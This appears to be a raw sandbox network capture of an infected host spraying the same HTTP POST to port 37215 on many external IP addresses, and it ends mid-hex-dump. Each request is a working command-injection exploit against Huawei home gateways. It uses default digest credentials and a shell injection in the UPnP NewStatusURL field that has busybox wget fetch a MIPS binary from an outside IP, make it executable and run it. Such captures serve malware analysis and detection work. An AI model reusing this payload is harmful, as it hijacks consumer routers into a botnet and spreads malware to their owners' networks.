Jun 10, 2024 15:38:03.746191978 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1102	192.168.2.13	41248	197.46.213.254	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.750464916 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1103	192.168.2.13	42286	197.106.228.206	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.753395081 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1104	192.168.2.13	57318	41.100.217.217	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.756561041 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1105	192.168.2.13	38316	41.17.44.251	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.759525061 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1106	192.168.2.13	55410	156.90.157.234	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.764386892 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1107	192.168.2.13	51364	197.125.105.27	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.768059015 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1108	192.168.2.13	57902	197.255.251.104	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.771387100 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1109	192.168.2.13	37046	41.78.128.130	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.775008917 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1110	192.168.2.13	55254	41.82.83.192	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.778089046 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1111	192.168.2.13	41154	197.223.216.136	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.780618906 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 